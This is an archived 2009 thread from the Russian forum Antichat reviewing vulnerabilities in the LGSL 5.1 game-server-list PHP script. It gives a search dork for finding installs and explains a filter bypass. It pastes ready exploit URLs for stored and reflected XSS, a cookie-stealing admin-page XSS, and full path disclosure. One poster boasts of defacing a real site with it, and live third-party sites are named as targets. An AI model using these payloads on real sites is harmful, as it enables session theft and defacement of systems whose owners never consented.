Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Обзор уязвимостей LGSL 5.1 (https://forum.antichat.xyz/showthread.php?t=127140)

AFoST 27.06.2009 00:36

Обзор уязвимостей LGSL 5.1
 
Продукт: LGSL 5.1 By Richard Perry
Описание: Live Game Server List
Дорк: "LGSL 5.1 By Richard Perry"


1. aXSS
активная xss существует из-за неправильной проверки переменной $request, передаваемой через GET.
в /lgsl_files/lgsl_class.php если в значении переменной $request есть символ "а", то будет произведена запись в бд.
PHP код:

function lgsl_query_cached($type$ip$c_port$q_port$s_port$request)
    {
...
      if (
strpos($request"a") !== FALSE)
      {
        
$mysql_query     "INSERT INTO `{$lgsl_config['db']['prefix']}{$lgsl_config['db']['table']}` (`type`,`ip`,`c_port`,`q_port`,`s_port`,`cache`,`cache_time`) VALUES ('{$type}','{$ip}','{$c_port}','{$q_port}','{$s_port}','','')";
        
$mysql_result    mysql_query($mysql_query) or die(mysql_error());
        
$mysql_row['id'] = mysql_insert_id();
... 

Запись в бд разрешена только админу. Но можно это сделать и не имея его прав. в файле
/lgsl_files/lgsl_feed.php производится обрезание симола "а".
PHP код:

...
  require 
"lgsl_class.php";
...
$request $lgsl_config['public_feed'] ? $request."a" str_replace("a"""$request);
... 

Эту фильтрацию можно обойти.
exploit:
Код:

/lgsl_files/lgsl_feed.php?type=rfactor&ip=bestserver<script>alert(1)</script>&c_port=2&q_port=32&s_port=4&request[]=5
значение переданной переменной request будет Array(тк не указан индекс массива), а функцией lgsl_query_cached() будет найден символ "а" и произойдет запись в бд.
example:
Код:

http://www.greycube.com/site/e107_plugins/lgsl/?s=1151
от меня там синяя надпись "hacked by hacker". криво получилось) поломал им всю статистику =\
Эта статистика ставится совместно с e107 0.7+, Joomla 1.5+, PHP Nuke и др (как написано в документации). Соответственно, можно получить многавкусныхкуков.


2. pXSS
Код:

http://lgsl/lgsl_files/lgsl_export.php?output=%3Cscript%3Ealert(1)%3C/script%3E
Код:

http://lgsl/lgsl_files/lgsl_feed.php?type=%3Cscript%3Ealert(/type/)%3C/script%3E&ip=1&c_port=2&q_port=3&s_port=4&request=5
3. Full path disclosure
Код:

http://lgsl/lgsl_files/lgsl_feed.php?type[]=rfactor&ip=ip&c_port=2&q_port=32&s_port=4&request=5
Код:

http://lgsl/lgsl_files/lgsl_feed.php?type=rfactor&ip[]=1&c_port=2&q_port=3&s_port=4&request=5

eLWAux 27.06.2009 01:00

мигом посмотрел..

XSS
/admin.php
Код:

<form method='post' action='{$_SERVER['PHP_SELF']}' id='lgsl_admin_auth'>
exploit:
Код:

/admin.php/'><script>alert(document.cookie);</script>
работает только в админа, из-за проверки

p.s.:
2. pXSS
в lgsl_feed.php ксс можно произвести не только через п-тр type , но и через ip и через request
Код:

/lgsl/lgsl_files/lgsl_feed.php?type=1&ip=<hr>&c_port=3&q_port=4&s_port=5&request=6&xml=7
/lgsl/lgsl_files/lgsl_feed.php?type=ut&ip=2&c_port=3&q_port=4&s_port=5&request=<hr>


eLWAux 27.06.2009 17:01

3. Full path disclosure

доступен, из-за дебаг-режима
lgsl\lgsl_files\lgsl_class.php:
PHP код:

  if ($_GET['lgsl_debug'])
  {
    echo 
"<hr /><pre>".print_r($_SERVERTRUE)."</pre>
          <hr />#0# "
.realpath($_SERVER['DOCUMENT_ROOT'])."
          <hr />#1# "
.__FILE__."
          <hr />#2# "
.realpath(__FILE__)."
          <hr />#3# "
.dirname(realpath(__FILE__))."
          <hr />#4# 
{$lgsl_file_path}";
  } 

use: добавляем к любой страничке GET параметр: &lgsl_debug=1
пример:
Код:

http://www.oghf.org.uk/e107_plugins/lgsl/lgsl_files/lgsl_class.php?lgsl_debug=bl0
http://www.oghf.org.uk/e107_plugins/lgsl/?lgsl_debug=bl0
http://www.greycube.com/site/e107_plugins/lgsl/?lgsl_debug=bl0



Время: 12:57